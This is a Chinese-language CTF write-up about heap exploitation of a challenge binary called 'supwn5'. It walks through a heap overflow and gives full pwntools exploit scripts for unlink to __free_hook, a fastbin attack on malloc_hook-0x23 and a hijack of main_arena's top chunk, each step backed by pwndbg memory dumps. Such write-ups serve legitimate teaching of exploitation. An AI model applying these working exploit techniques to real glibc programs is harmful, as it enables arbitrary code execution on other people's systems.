pwn

Some strange questions

in heap

Posted by pic4xiu on November 11, 2019

本文首发先知

本人在做堆题时经常遇到一些特别怪的套路,自己不看 exp 基本永远想不到,看完后先是一脸蒙,经过调试就恍然大悟.奥~~ 还能这么玩,所以通过这个系列记录一下

在 fastbin 中,大多数时候修改成可利用的 fd 很考验堆的构造能力,下边就以该题作为模板,因为这题实在有点合适

漏洞简要分析

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, buf[v1], 0x100uLL);		//溢出
  }
  return __readfsqword(0x28u) ^ v2;
}

很明显,直接能输入 0x100 字节,堆溢出. checksec 一下,一看没开 pie

> checksec supwn5 
[*] '/home/pic/\xe6\xa1\x8c\xe9\x9d\xa2/11\xe6\x9c\x88\xe6\x96\x87\xe7\xab\xa0/supwn5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

我习惯直接 unlink 了,实在有点好用, unlink 的 exp

from pwn import *
p = process('./supwn5')
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)


new(0x80)
new(0x80)
new(1)
payload = p64(0)+p64(0x81)+p64(0x06020C0-24)+p64(0x06020C0-16)
payload = payload.ljust(0x80)
payload+=p64(0x80)+p64(0x90)
edit(0,payload)
free(1)
pay = p64(0)*3+p64(elf.got['puts'])+p64(0x06020C0-24)*5
edit(0,pay)
p.sendlineafter('please chooice :\n','3')
p.sendlineafter('which node do you want to show\n','0')
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak - libc.symbols['puts']
print hex(libc_base)
system = libc.symbols['system'] + libc_base
free_hook = libc.symbols['__free_hook'] + libc_base
pay = p64(0)*3+p64(free_hook)+p64(0x06020C0-24)*5
edit(1,pay)
gdb.attach(p)
one=libc_base+0x4526a
edit(0,p64(one))
free(1)
p.interactive()

常规思路 unlink 到 bss 端直接指那打哪,但是能溢出这么多字节就利用个 off-by-one 觉得有点可惜,就想用点别的思路来做

fd 到 malloc_hook-0x23

from pwn import *
elf = ELF("./supwn5", checksec=False)
libc = elf.libc
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)
def show(ind):
	p.sendlineafter('please chooice :\n','3')
	p.sendlineafter('which node do you want to show\n',str(ind))

i=0
while(i<10):
	p=process('./supwn5',aslr=2)
	new(0x80)
	new(1)
	free(0)
	new(0x80)
	show(0)
	p.recvuntil('the content is : \n')
	leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
	base = leak-3951480
	print hex(base)
	i=i+1
	p.close()

通过上述的小脚本跑一下该程序,会发现 so 的基地址在最高字节均为0x7f,这也就是修改 malloc_hook 为 fd 的基础

提前说明,本篇脚本均完成到了 malloc 到了 malloc_hook ,填入 one_gadget 过程实在有点玄学,各种环境难免保证一样,各位可以自己向下研究利用.上 exp

from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)
def show(ind):
	p.sendlineafter('please chooice :\n','3')
	p.sendlineafter('which node do you want to show\n',str(ind))


new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
base = leak-3951480
print hex(base)
new(0x60)
free(2)
edit(1,p64(0)*3+p64(0x71)+p64(base+3951341))
gdb.attach(p)
new(0x60)
new(0x60)
edit(3,'a'*0x13+'b'*8)
gdb.attach(p)
p.interactive()

基本被玩坏了,靠的就是刚才说的在 malloc_hook-0x23 的 0x7f 固定,必然满足 fastbin 检查,直接就 malloc 出来了

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x19770b0 —▸ 0x7f8c9946daed (_IO_wide_data_0+301) ◂— 0x8c9912ee20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x7f8c9946daed
0x7f8c9946daed <_IO_wide_data_0+301>:	0x8c9946c260000000	0x000000000000007f
0x7f8c9946dafd:	0x8c9912ee20000000	0x8c9912ea0000007f
0x7f8c9946db0d <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7f8c9946db1d:	0x0000000000000000	0x0000000000000000

但是其实还有很多时候无法使用该方法,比如说题目在 malloc 堆的时候是固定字节或者限制 malloc 字节大小,最大是 0x60 这种,就不能这么玩了

通过 main_arena 修改 top_chunk

这个并不是直接在 top_chunk 修改值(类似 house of force),而是通过 main_arena 这个放各种结构的地方来修改,详细记录一下思路

from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)
def show(ind):
	p.sendlineafter('please chooice :\n','3')
	p.sendlineafter('which node do you want to show\n',str(ind))

上述为框架函数

new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480

//效果如下(下方的格式都是先是代码和执行完的调试结果)

pwndbg> heap
0xde8000 PREV_INUSE {
  prev_size = 0, 
  size = 145, 
  fd = 0x7f06f2f30b78 <main_arena+88>, 
  bk = 0x7f06f2f30b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0xde8090 FASTBIN {
  prev_size = 144, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20f51
}
0xde80b0 PREV_INUSE {
  prev_size = 0, 
  size = 134993, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/32gx 0xde8000
0xde8000:	0x0000000000000000	0x0000000000000091
0xde8010:	0x00007f06f2f30b78	0x00007f06f2f30b78
0xde8020:	0x0000000000000000	0x0000000000000000
0xde8030:	0x0000000000000000	0x0000000000000000

上述为泄漏 libc 地址

new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))


pwndbg> x/32gx 0xde8000
0xde8000:	0x0000000000000000	0x0000000000000091
0xde8010:	0x00007f06f2f30b78	0x00007f06f2f30b78
0xde8020:	0x0000000000000000	0x0000000000000000
0xde8030:	0x0000000000000000	0x0000000000000000
0xde8040:	0x0000000000000000	0x0000000000000000
0xde8050:	0x0000000000000000	0x0000000000000000
0xde8060:	0x0000000000000000	0x0000000000000000
0xde8070:	0x0000000000000000	0x0000000000000000
0xde8080:	0x0000000000000000	0x0000000000000000
0xde8090:	0x0000000000000090	0x0000000000000021
0xde80a0:	0x0000000000000000	0x0000000000000000
0xde80b0:	0x0000000000000000	0x0000000000000051
0xde80c0:	0x0000000000000061	0x0000000000000000
0xde80d0:	0x0000000000000000	0x0000000000000000
0xde80e0:	0x0000000000000000	0x0000000000000000
0xde80f0:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0xde80b0 ◂— 0x61 /* 'a' */
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

上述为为了之后的 malloc 出来 fastbin 做铺垫,等会作用很大

new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))


pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x61
0x60: 0xde8100 —▸ 0x7f06f2f30b38 (main_arena+24) ◂— 0xde8100
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/32gx 0x7f06f2f30b38
0x7f06f2f30b38 <main_arena+24>:	0x0000000000000000	0x0000000000000061
0x7f06f2f30b48 <main_arena+40>:	0x0000000000de8100	0x0000000000000000
0x7f06f2f30b58 <main_arena+56>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b68 <main_arena+72>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b78 <main_arena+88>:	0x0000000000de8160	0x0000000000000000
...

可以看到上边的结果, 0x61 已经写进去了,而且 0x60 的块也构造好了,满足构造条件,下边就是合理使用了

new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))


pwndbg> x/20gx 0x7f06f2f30b00
0x7f06f2f30b00 <__memalign_hook>:	0x00007f06f2bf1e20	0x00007f06f2bf1a00
0x7f06f2f30b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b20 <main_arena>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b40 <main_arena+32>:	0x0000000000000061	0x0000000000000000
0x7f06f2f30b50 <main_arena+48>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b60 <main_arena+64>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b70 <main_arena+80>:	0x0000000000000000	0x00007f06f2f30b00	------>topchunk
0x7f06f2f30b80 <main_arena+96>:	0x0000000000000000	0x00007f06f2f30b78
0x7f06f2f30b90 <main_arena+112>:	0x00007f06f2f30b78	0x00007f06f2f30b88
pwndbg> arena
{
  mutex = 0, 
  flags = 0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x61, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x7f06f2f30b00 <__memalign_hook>, 

通过上述,可以看到已经把 top_chunk 给改了,这里要注意一下 topchunk千万别是 0 ,注意一下偏移就好了

new(1)
edit(5,'a'*8)


pwndbg> x/20gx 0x7f06f2f30b00-0x10
0x7f06f2f30af0 <_IO_wide_data_0+304>:	0x00007f06f2f2f260	0x0000000000000000
0x7f06f2f30b00 <__memalign_hook>:	0x00007f06f2bf1e20	0x0000000000000021
0x7f06f2f30b10 <__malloc_hook>:	0x6161616161616161	0x0000000000000000
0x7f06f2f30b20 <main_arena>:	0x0000000000000000	0x00007f06f2bf19e1
0x7f06f2f30b30 <main_arena+16>:	0x0000000000000000	0x0000000000000000
0x7f06f2f30b40 <main_arena+32>:	0x0000000000000061	0x0000000000000000

利用成功,完整 exp 见下

from pwn import *
p = process('./supwn5',aslr=2)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)
def show(ind):
	p.sendlineafter('please chooice :\n','3')
	p.sendlineafter('which node do you want to show\n',str(ind))

new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
new(0x40)
free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x78))
new(1)
edit(5,'a'*8)
gdb.attach(p)
p.interactive()

总结

通过这个可以看到 fastbin–>malloc_hook 还是比较简单的,但是构造起来很需要耐心.同时其实我这个 unlink 偷懒了,完全可以很稳的执行 system(‘/bin/sh’) 的,但我还是比较懒,直接向 free_hook 填的 one_gadget ,不过还好成功了.所以其实还是得少用 one_gadget ,这个还是下策